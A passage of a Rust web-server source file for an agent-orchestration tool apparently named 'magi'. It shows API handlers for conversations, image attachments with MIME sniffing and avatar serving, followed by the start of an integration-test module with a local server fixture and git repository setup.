8248struct TalkImplementers {
8249 implementers: u8,
8250}
8251
8252async fn talk_implementers(
8256 State(ui): State<Arc<Ui>>,
8257 Path(id): Path<String>,
8258 Json(body): Json<TalkImplementers>,
8259) -> ApiResult<Json<TalkView>> {
8260 let id = {
8261 let ui = Arc::clone(&ui);
8262 blocking(move || resolve_talk(&ui.talks, &id)).await?
8263 };
8264 let repo = {
8265 let ui = Arc::clone(&ui);
8266 let id = id.clone();
8267 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8268 };
8269 let cfg = config_for(&repo).await?;
8270 {
8275 let ui = Arc::clone(&ui);
8276 let id = id.clone();
8277 let cfg = cfg.clone();
8278 let wanted = body.implementers;
8279 blocking(move || {
8280 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8281 refuse_if_closed(&ui.talks.get(&id)?)
8282 })
8283 .await?;
8284 }
8285 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8286 return Err(ApiError::conflict(
8287 "a talk turn is running; change the implementers once it has answered",
8288 ));
8289 };
8290 let switched = {
8291 let ui = Arc::clone(&ui);
8292 let id = id.clone();
8293 let cfg = cfg.clone();
8294 blocking(move || {
8295 let chosen =
8296 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8297 let mut talk = ui.talks.get(&id)?;
8298 if !talk.status.open() {
8299 return Err(ApiError::conflict(format!(
8300 "talk {} is {} and takes no more turns",
8301 talk.short(),
8302 talk.status.as_str()
8303 )));
8304 }
8305 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8306 Ok(talk)
8307 })
8308 .await
8309 };
8310 let observed = ui.queued_generation(&id);
8312 let fresh = {
8313 let ui = Arc::clone(&ui);
8314 let id = id.clone();
8315 blocking(move || Ok(ui.talks.get(&id)?)).await
8316 };
8317 let draining = match fresh {
8318 Ok(talk) => {
8319 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8320 }
8321 Err(_) => false,
8322 };
8323 let talk = switched?;
8324 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8325}
8326
8327async fn talk_close(
8329 State(ui): State<Arc<Ui>>,
8330 Path(id): Path<String>,
8331) -> ApiResult<Json<TalkView>> {
8332 blocking(move || {
8333 let id = resolve_talk(&ui.talks, &id)?;
8334 let mut talk = ui.talks.get(&id)?;
8335 talk::close(&mut talk, &ui.talks)?;
8336 let thinking = ui.is_thinking(&talk.id);
8337 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8338 })
8339 .await
8340}
8341
8342async fn talk_reopen(
8344 State(ui): State<Arc<Ui>>,
8345 Path(id): Path<String>,
8346) -> ApiResult<Json<TalkView>> {
8347 blocking(move || {
8348 let id = resolve_talk(&ui.talks, &id)?;
8349 let mut talk = ui.talks.get(&id)?;
8350 talk::reopen(&mut talk, &ui.talks)?;
8351 let thinking = ui.is_thinking(&talk.id);
8352 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8353 })
8354 .await
8355}
8356
8357async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8367 blocking(move || {
8368 let id = resolve_talk(&ui.talks, &id)?;
8369 ui.talks.remove(&id)?;
8370 Ok(StatusCode::NO_CONTENT)
8371 })
8372 .await
8373}
8374
8375fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8377 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8378}
8379
8380async fn talk_attachment_post(
8383 State(ui): State<Arc<Ui>>,
8384 Path(id): Path<String>,
8385 headers: HeaderMap,
8386 body: Bytes,
8387) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8388 let mime = validate_attachment(&headers, &body)?;
8389 let name = filename_header(&headers);
8390 let data = body.to_vec();
8391 blocking(move || {
8392 let id = resolve_talk(&ui.talks, &id)?;
8393 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8394 Ok((StatusCode::CREATED, Json(att)))
8395 })
8396 .await
8397}
8398
8399async fn talk_attachment_get(
8402 State(ui): State<Arc<Ui>>,
8403 Path((id, att)): Path<(String, String)>,
8404) -> ApiResult<Response> {
8405 blocking(move || {
8406 let id = resolve_talk(&ui.talks, &id)?;
8407 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8408 return Err(ApiError::not_found(format!(
8409 "talk {id} has no attachment `{att}`"
8410 )));
8411 };
8412 Ok(attachment_response(&meta.mime, data))
8413 })
8414 .await
8415}
8416
8417fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8420 let mut id = String::new();
8421 for b in p.id.bytes() {
8422 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8423 id.push(char::from(b));
8424 } else {
8425 id.push_str(&format!("%{b:02X}"));
8426 }
8427 }
8428 format!(
8429 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8430 persona_icon::fingerprint(p.icon.as_deref())
8431 )
8432}
8433
8434#[derive(Debug, Default, Deserialize)]
8435struct AvatarQuery {
8436 persona: Option<String>,
8437 builtin: Option<String>,
8439}
8440
8441const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8443
8444fn builtin_avatar(id: &str) -> Response {
8445 svg_avatar(persona_icon::builtin_svg(id))
8446}
8447
8448async fn operator_avatar() -> Response {
8449 svg_avatar(persona_icon::operator_svg())
8450}
8451
8452fn svg_avatar(svg: &'static str) -> Response {
8453 (
8454 [
8455 (header::CONTENT_TYPE, "image/svg+xml"),
8456 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8457 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8458 (header::CACHE_CONTROL, "no-cache"),
8459 ],
8460 svg,
8461 )
8462 .into_response()
8463}
8464
8465fn magi_icon_path(home: &FsPath) -> PathBuf {
8467 home.join("magi-icon.data")
8468}
8469
8470fn read_magi_icon(home: &FsPath) -> Option<String> {
8471 let path = magi_icon_path(home);
8472 let metadata = std::fs::metadata(&path).ok()?;
8473 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8474 return None;
8475 }
8476 let file = std::fs::File::open(path).ok()?;
8477 use std::io::Read;
8478 let mut text = String::new();
8479 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8480 .read_to_string(&mut text)
8481 .ok()?;
8482 if text.len() > persona_icon::ICON_MAX_BYTES {
8483 return None;
8484 }
8485 text.starts_with("data:").then_some(text)
8486}
8487
8488fn magi_icon_url(home: &FsPath) -> String {
8489 format!(
8490 "/avatars/magi?v={}",
8491 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8492 )
8493}
8494
8495async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8496 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8497}
8498
8499#[derive(Deserialize)]
8500struct MagiIconUpload {
8501 icon: String,
8502}
8503
8504fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8505 if !icon.starts_with("data:") {
8506 anyhow::bail!("upload a raster image");
8507 }
8508 let (mime, bytes) = persona_icon::load(icon)?;
8509 if sniffed_mime(&bytes) != Some(mime) {
8510 anyhow::bail!("image content does not match its type");
8511 }
8512 std::fs::create_dir_all(home)?;
8513 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8514 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8515 let result = (|| -> Result<()> {
8516 use std::io::Write;
8517 let mut file = std::fs::OpenOptions::new()
8518 .write(true)
8519 .create_new(true)
8520 .open(&temp)?;
8521 file.write_all(icon.as_bytes())?;
8522 file.sync_all()?;
8523 std::fs::rename(&temp, magi_icon_path(home))?;
8524 Ok(())
8525 })();
8526 let _ = std::fs::remove_file(temp);
8527 result?;
8528 Ok(())
8529}
8530
8531async fn magi_icon_put(
8532 State(ui): State<Arc<Ui>>,
8533 Json(upload): Json<MagiIconUpload>,
8534) -> ApiResult<Json<serde_json::Value>> {
8535 blocking(move || {
8536 if !upload.icon.starts_with("data:") {
8537 return Err(ApiError::bad_request("upload a raster image"));
8538 }
8539 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8540 if sniffed_mime(&bytes) != Some(mime) {
8541 return Err(ApiError::bad_request(
8542 "image content does not match its type",
8543 ));
8544 }
8545 save_magi_icon(&ui.home, &upload.icon)?;
8546 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8547 })
8548 .await
8549}
8550
8551async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8552 blocking(move || {
8553 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8554 Ok(()) => (),
8555 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8556 Err(e) => return Err(anyhow::Error::from(e).into()),
8557 }
8558 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8559 })
8560 .await
8561}
8562
8563async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8564 let icon = (q.builtin.is_none())
8565 .then(|| read_magi_icon(&ui.home))
8566 .flatten();
8567 let mut response = match icon
8568 .as_deref()
8569 .and_then(|icon| persona_icon::load(icon).ok())
8570 {
8571 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8572 attachment_response(mime, bytes)
8573 }
8574 _ => svg_avatar(persona_icon::magi_svg()),
8575 };
8576 response
8577 .headers_mut()
8578 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8579 response
8580}
8581
8582async fn talk_avatar(
8587 State(ui): State<Arc<Ui>>,
8588 Path(id): Path<String>,
8589 Query(q): Query<AvatarQuery>,
8590) -> ApiResult<Response> {
8591 blocking(move || {
8592 let id = resolve_talk(&ui.talks, &id)?;
8593 let talk = ui.talks.get(&id)?;
8594 let wanted = q
8595 .persona
8596 .as_deref()
8597 .map(str::trim)
8598 .filter(|p| !p.is_empty())
8599 .unwrap_or(&talk.persona)
8600 .to_owned();
8601 let specs = match Config::discover(&talk.repo, None) {
8602 Ok((cfg, _)) => cfg.talk.personas,
8603 Err(e) => {
8604 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8605 Vec::new()
8606 }
8607 };
8608 let Some(found) = persona::find(&specs, &wanted) else {
8609 return Ok(builtin_avatar(persona::DEFAULT_ID));
8610 };
8611 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8612 return Ok(builtin_avatar(&found.id));
8613 };
8614 match persona_icon::load(icon) {
8615 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8616 let mut res = attachment_response(mime, bytes);
8617 res.headers_mut().insert(
8618 header::CACHE_CONTROL,
8619 header::HeaderValue::from_static("no-cache"),
8620 );
8621 Ok(res)
8622 }
8623 Ok((mime, _)) => {
8624 tracing::warn!(
8625 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8626 found.id
8627 );
8628 Ok(builtin_avatar(&found.id))
8629 }
8630 Err(e) => {
8631 tracing::warn!(
8632 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8633 found.id
8634 );
8635 Ok(builtin_avatar(&found.id))
8636 }
8637 }
8638 })
8639 .await
8640}
8641
8642fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8653 if data.len() > ATTACHMENT_MAX_BYTES {
8654 return Err(ApiError::bad_request(format!(
8655 "attachment is {} bytes, over the {} MiB limit",
8656 data.len(),
8657 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8658 ))
8659 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8660 }
8661 if data.is_empty() {
8662 return Err(ApiError::bad_request("attachment is empty"));
8663 }
8664 let declared = declared_mime(headers)?;
8665 match sniffed_mime(data) {
8666 Some(sniffed) if sniffed == declared => Ok(declared),
8667 Some(sniffed) => Err(ApiError::bad_request(format!(
8668 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8669 ))),
8670 None => Err(ApiError::bad_request(
8671 "the file's bytes do not match any accepted image format",
8672 )),
8673 }
8674}
8675
8676fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8680 let raw = headers
8681 .get(header::CONTENT_TYPE)
8682 .and_then(|v| v.to_str().ok())
8683 .unwrap_or("")
8684 .split(';')
8685 .next()
8686 .unwrap_or("")
8687 .trim()
8688 .to_ascii_lowercase();
8689 ATTACHMENT_MIME_WHITELIST
8690 .iter()
8691 .find(|&&m| m == raw)
8692 .copied()
8693 .ok_or_else(|| {
8694 if raw == "image/svg+xml" {
8695 ApiError::bad_request(
8696 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8697 not just a picture",
8698 )
8699 } else if raw.is_empty() {
8700 ApiError::bad_request("Content-Type is required for an attachment upload")
8701 } else {
8702 ApiError::bad_request(format!(
8703 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8704 image/gif or image/webp"
8705 ))
8706 }
8707 })
8708}
8709
8710fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8713 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8714 Some("image/png")
8715 } else if data.starts_with(b"\xff\xd8\xff") {
8716 Some("image/jpeg")
8717 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8718 Some("image/gif")
8719 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8720 Some("image/webp")
8721 } else {
8722 None
8723 }
8724}
8725
8726fn filename_header(headers: &HeaderMap) -> String {
8732 headers
8733 .get(FILENAME_HEADER)
8734 .and_then(|v| v.to_str().ok())
8735 .map(str::trim)
8736 .filter(|s| !s.is_empty())
8737 .unwrap_or("attachment")
8738 .to_owned()
8739}
8740
8741fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8748 let content_type = ATTACHMENT_MIME_WHITELIST
8749 .iter()
8750 .find(|&&m| m == mime)
8751 .copied()
8752 .unwrap_or("application/octet-stream");
8753 (
8754 [
8755 (header::CONTENT_TYPE, content_type),
8756 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8757 ],
8758 body,
8759 )
8760 .into_response()
8761}
8762
8763async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8771 let repo = repo.to_path_buf();
8772 blocking(move || {
8773 let (cfg, _) = Config::discover(&repo, None)?;
8774 Ok(cfg)
8775 })
8776 .await
8777}
8778
8779fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8785 let mut hits = ids
8786 .into_iter()
8787 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8788 match (hits.next(), hits.next()) {
8789 (Some(one), None) => Ok(one),
8790 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8791 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8792 "`{prefix}` matches more than one {what}, including {a} and {b}"
8793 ))),
8794 }
8795}
8796
8797#[cfg(test)]
8798mod tests {
8799
8800 #[test]
8801 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8802 let dir = tempfile::tempdir().unwrap();
8803 let store = ask::Questions::at(dir.path().join("questions"));
8804 let mut q = Question::new(
8805 "task".to_owned(),
8806 "conduct".to_owned(),
8807 "conduct".to_owned(),
8808 "choose".to_owned(),
8809 String::new(),
8810 vec!["keep".to_owned()],
8811 );
8812 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8813 q.say("why?").unwrap();
8814 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8815 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8816 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8817 store.put(&mut q).unwrap();
8818 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8819 assert_eq!(store.count_needs_owner(), 1);
8820 store.beat(&q.id, ask::WaiterKind::Deputy);
8821 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8822 assert_eq!(store.count_needs_owner(), 0);
8823 let mut stale = store.read_lease(&q.id).unwrap();
8824 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
8825 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
8826 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
8827 assert!(view.deputy_exhausted);
8828 assert!(view.waiting_on_agent);
8829 assert_eq!(view.question.choices, ["keep"]);
8830 store.drop_lease(&q.id);
8831 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
8832 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
8833 }
8834
8835 #[test]
8836 fn holder_reads_the_lease_not_the_record() {
8837 let mut q = Question::new(
8838 "run".to_owned(),
8839 "implement".to_owned(),
8840 "impl-A".to_owned(),
8841 "which?".to_owned(),
8842 String::new(),
8843 Vec::new(),
8844 );
8845 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8846 q.cwd = Some("/tmp".to_owned());
8847 assert_eq!(holder_of(&q, None), Some("nobody"));
8848 let beat = |kind, ago: i64| ask::Lease {
8849 kind,
8850 pid: 1,
8851 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8852 .unwrap(),
8853 };
8854 let fresh = beat(ask::WaiterKind::Asker, 1);
8855 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8856 let daemon = beat(ask::WaiterKind::Daemon, 1);
8857 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8858 let stale = beat(ask::WaiterKind::Asker, 3600);
8859 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8860
8861 let mut c = Question::new(
8864 "task".to_owned(),
8865 crate::conduct::NODE.to_owned(),
8866 "conduct".to_owned(),
8867 "which?".to_owned(),
8868 String::new(),
8869 Vec::new(),
8870 );
8871 assert_eq!(holder_of(&c, None), Some("nobody"));
8872 c.cwd = Some("/tmp".to_owned());
8873 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8874 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8875 let deputy = beat(ask::WaiterKind::Deputy, 1);
8876 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8877 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8878
8879 let mut r = Question::new(
8881 String::new(),
8882 crate::bump::NOTICE_NODE.to_owned(),
8883 "release-watch".to_owned(),
8884 "stuck?".to_owned(),
8885 String::new(),
8886 vec!["hold".to_owned()],
8887 );
8888 assert_eq!(holder_of(&r, None), Some("nobody"));
8889 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8890 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8891 r.deputy = None;
8893 r.seat = "bump".to_owned();
8894 assert_eq!(holder_of(&r, None), None);
8895
8896 let mut m = Question::new(
8899 "run".to_owned(),
8900 crate::land::APPROVAL_NODE.to_owned(),
8901 "land".to_owned(),
8902 "merge?".to_owned(),
8903 String::new(),
8904 Vec::new(),
8905 );
8906 assert_eq!(holder_of(&m, None), Some("nobody"));
8907 assert_eq!(
8908 holder_of(&m, Some(&fresh)),
8909 Some("asker"),
8910 "a live explicit wait is a listener even before a deputy is attached"
8911 );
8912 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8913 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8914 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8915 assert_eq!(holder_of(&m, None), Some("nobody"));
8916 }
8917
8918 fn stub_config() -> Config {
8919 Config {
8922 agents: vec![crate::config::AgentSpec {
8923 id: "stub".to_owned(),
8924 kind: AgentKind::Command,
8925 model: None,
8926 command: vec!["true".to_owned()],
8927 extra_args: Vec::new(),
8928 env: Default::default(),
8929 prompt_delivery: None,
8930 }],
8931 ..Config::default()
8932 }
8933 }
8934
8935 fn plain_question(seat: &str) -> Question {
8936 Question::new(
8937 String::new(),
8938 "n".to_owned(),
8939 seat.to_owned(),
8940 "s".to_owned(),
8941 String::new(),
8942 Vec::new(),
8943 )
8944 }
8945
8946 #[test]
8947 fn deputies_enabled_follows_the_config() {
8948 let on = stub_config();
8949 assert!(crate::deputy::can_start(Some(&on), ""));
8950 assert!(crate::deputy::can_start(Some(&on), "stub"));
8951 let mut off = on.clone();
8952 off.daemon.max_deputies = 0;
8953 assert!(!crate::deputy::can_start(Some(&off), ""));
8954 let mut empty = on;
8955 empty.agents.clear();
8956 assert!(!crate::deputy::can_start(Some(&empty), ""));
8957 assert!(!crate::deputy::can_start(None, ""));
8958 }
8959
8960 #[test]
8961 fn question_views_load_the_config_once() {
8962 let dir = TempDir::new().unwrap();
8963 let store = ask::Questions::at(dir.path().to_path_buf());
8964 let mut with_deputy = plain_question("b");
8965 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8966 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8967
8968 let calls = std::cell::Cell::new(0usize);
8969 let views = question_views(qs.clone(), &store, || {
8970 calls.set(calls.get() + 1);
8971 Some(stub_config())
8972 });
8973 assert_eq!(calls.get(), 1);
8974 assert_eq!(views.len(), 3);
8975 for (v, q) in views.iter().zip(&qs) {
8976 assert_eq!(
8977 v.deputies_enabled,
8978 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8979 );
8980 }
8981
8982 let views = question_views(qs, &store, || None);
8983 assert!(views.iter().all(|v| !v.deputies_enabled));
8984
8985 let calls = std::cell::Cell::new(0usize);
8986 let views = question_views(Vec::new(), &store, || {
8987 calls.set(calls.get() + 1);
8988 None
8989 });
8990 assert!(views.is_empty());
8991 assert_eq!(calls.get(), 0);
8992 }
8993
8994 use pretty_assertions::assert_eq;
8995 use serde_json::Value;
8996 use tempfile::TempDir;
8997 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8998
8999 use super::*;
9000 use crate::config::Config;
9001 use crate::queue::Source;
9002
9003 const SETTLE_STEPS: usize = 3_000;
9014
9015 struct Fixture {
9021 home: TempDir,
9022 addr: SocketAddr,
9023 }
9024
9025 impl Fixture {
9026 async fn start() -> Self {
9027 Self::with_loop(launch_idle).await
9028 }
9029
9030 async fn with_loop(launch: Launch) -> Self {
9032 let home = TempDir::new().expect("temp home");
9033 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9034 Self { home, addr }
9035 }
9036
9037 async fn with_repo(repo: PathBuf) -> Self {
9041 let home = TempDir::new().expect("temp home");
9042 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9043 Self { home, addr }
9044 }
9045
9046 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9049 let home = TempDir::new().expect("temp home");
9050 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9051 Self { home, addr }
9052 }
9053
9054 async fn serve(
9055 home: &FsPath,
9056 repo: PathBuf,
9057 launch: Launch,
9058 machine: Option<PathBuf>,
9059 ) -> SocketAddr {
9060 let queue = Queue::at(home.join("queue"));
9061 let runs = home.join("runs");
9062 std::fs::create_dir_all(&runs).expect("runs dir");
9063 let worktrees = home.join("wt").join("magi");
9064 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9065 let ui = Ui::new(
9066 queue,
9067 Questions::at(home.join("questions")),
9068 Talks::at(home.join("talks")),
9069 runs,
9070 home.to_path_buf(),
9071 repo,
9072 )
9073 .with_worktrees_root(worktrees)
9074 .with_machine_config(machine)
9075 .with_launch(launch);
9076 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9077 .await
9078 .expect("bind loopback");
9079 let addr = listener.local_addr().expect("local addr");
9080 tokio::spawn(async move {
9081 let router = ui
9082 .router()
9083 .layer(axum::middleware::from_fn(request_cost::observe));
9084 let _ = axum::serve(listener, router).await;
9085 });
9086 addr
9087 }
9088
9089 fn queue(&self) -> Queue {
9090 Queue::at(self.home.path().join("queue"))
9091 }
9092
9093 fn questions(&self) -> Questions {
9094 Questions::at(self.home.path().join("questions"))
9095 }
9096
9097 fn talks(&self) -> Talks {
9098 Talks::at(self.home.path().join("talks"))
9099 }
9100
9101 fn runs(&self) -> PathBuf {
9102 self.home.path().join("runs")
9103 }
9104
9105 async fn get(&self, path: &str) -> Res {
9106 request(self.addr, "GET", path, None).await
9107 }
9108
9109 async fn head(&self, path: &str) -> Res {
9114 request(self.addr, "HEAD", path, None).await
9115 }
9116
9117 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9118 request(self.addr, "POST", path, body).await
9119 }
9120
9121 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9122 request_with(self.addr, "GET", path, None, extra).await
9123 }
9124
9125 async fn delete(&self, path: &str) -> Res {
9126 request(self.addr, "DELETE", path, None).await
9127 }
9128
9129 async fn put(&self, path: &str, body: &str) -> Res {
9130 request(self.addr, "PUT", path, Some(body)).await
9131 }
9132
9133 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9135 request_bytes(self.addr, path, headers, body).await
9136 }
9137 }
9138
9139 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9142 let tmp = TempDir::new().unwrap();
9143 let mut repos = Vec::new();
9144 for name in ["one", "two"] {
9145 let repo = tmp.path().join(name);
9146 let origin = tmp.path().join(format!("{name}.git"));
9147 std::fs::create_dir_all(&repo).unwrap();
9148 crate::git::git(&repo, &["init", "-b", "main"])
9149 .await
9150 .unwrap();
9151 std::fs::write(
9152 repo.join("magi.toml"),
9153 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9154 )
9155 .unwrap();
9156 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9157 crate::git::git(
9158 &repo,
9159 &[
9160 "-c",
9161 "user.name=fixture",
9162 "-c",
9163 "user.email=fixture@example.invalid",
9164 "commit",
9165 "-m",
9166 "fixture",
9167 ],
9168 )
9169 .await
9170 .unwrap();
9171 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9172 .await
9173 .unwrap();
9174 crate::git::git(
9175 &repo,
9176 &["remote", "add", "origin", origin.to_str().unwrap()],
9177 )
9178 .await
9179 .unwrap();
9180 crate::git::git(&repo, &["push", "origin", "main"])
9181 .await
9182 .unwrap();
9183 crate::git::git(
9184 &repo,
9185 &[
9186 "symbolic-ref",
9187 "refs/remotes/origin/HEAD",
9188 "refs/remotes/origin/main",
9189 ],
9190 )
9191 .await
9192 .unwrap();
9193 let (cfg, _) = Config::discover(&repo, None).unwrap();
9194 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9195 repos.push(repo);
9196 }
9197 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9198 (tmp, repos)
9199 }
9200
9201 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9202 let (tmp, repos) = performance_repositories().await;
9203 let machine = tmp.path().join("machine.toml");
9204 std::fs::write(&machine, "").unwrap();
9205 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9206 (tmp, repos, fx)
9207 }
9208
9209 fn seed_performance(
9210 fx: &Fixture,
9211 repos: &[PathBuf; 2],
9212 questions: usize,
9213 runs: usize,
9214 items: usize,
9215 ) {
9216 for i in fx.questions().list().len()..questions {
9218 let mut question = Question::new(
9219 "20261001-000000-0000".into(),
9220 "implement".into(),
9221 "impl-A".into(),
9222 format!("question {i}"),
9223 "context".into(),
9224 vec!["yes".into(), "no".into()],
9225 );
9226 question.id = format!("20261003-000000-{i:04x}");
9227 fx.questions().put(&mut question).unwrap();
9228 }
9229 for i in run_ids(&fx.runs()).len()..runs {
9230 write_run_repo(
9231 &fx.runs(),
9232 &format!("20261001-000000-{i:04x}"),
9233 RunStatus::Ready,
9234 repos[i % 2].to_str().unwrap(),
9235 );
9236 }
9237 for i in fx.talks().list().len()..items {
9238 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9239 let mut talk = fx.talks().get(&id).unwrap();
9240 talk.repo = repos[i % 2].clone();
9241 fx.talks().put(&mut talk).unwrap();
9242 let mut task = crate::queue::Task::new(
9243 format!("task {i}"),
9244 "instruction".into(),
9245 repos[i % 2].clone(),
9246 crate::queue::Source::Agent {
9247 run: id,
9248 node: crate::queue::CHAT_NODE.into(),
9249 },
9250 );
9251 task.id = format!("20261004-000000-{i:04x}");
9252 fx.queue().put(&mut task).unwrap();
9253 if i < crate::notices::CAP {
9255 Notices::at(fx.home.path().join("notifications"))
9256 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9257 .unwrap();
9258 }
9259 }
9260 assert_eq!(fx.questions().list().len(), questions);
9261 assert_eq!(run_ids(&fx.runs()).len(), runs);
9262 assert_eq!(fx.talks().list().len(), items);
9263 assert_eq!(fx.queue().list().len(), items);
9264 assert_eq!(
9265 Notices::at(fx.home.path().join("notifications"))
9266 .list()
9267 .len(),
9268 items.min(crate::notices::CAP)
9269 );
9270 }
9271
9272 fn request_counts(res: &Res) -> (usize, usize) {
9273 assert_eq!(res.status, 200, "{}", res.body);
9274 (
9275 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9276 res.header("x-test-git").unwrap().parse().unwrap(),
9277 )
9278 }
9279
9280 #[tokio::test]
9281 async fn list_request_cost_is_independent_of_record_count() {
9282 let (_tmp, repos, fx) = performance_fixture().await;
9283 let mut previous = None;
9284 for n in [4, 60] {
9285 seed_performance(&fx, &repos, n, n, n);
9286 let mut costs = Vec::new();
9287 for (path, discoveries) in [
9288 ("/api/questions", 1),
9289 ("/api/talks", 2),
9290 ("/api/health", 1),
9291 ("/api/stats", 1),
9292 ] {
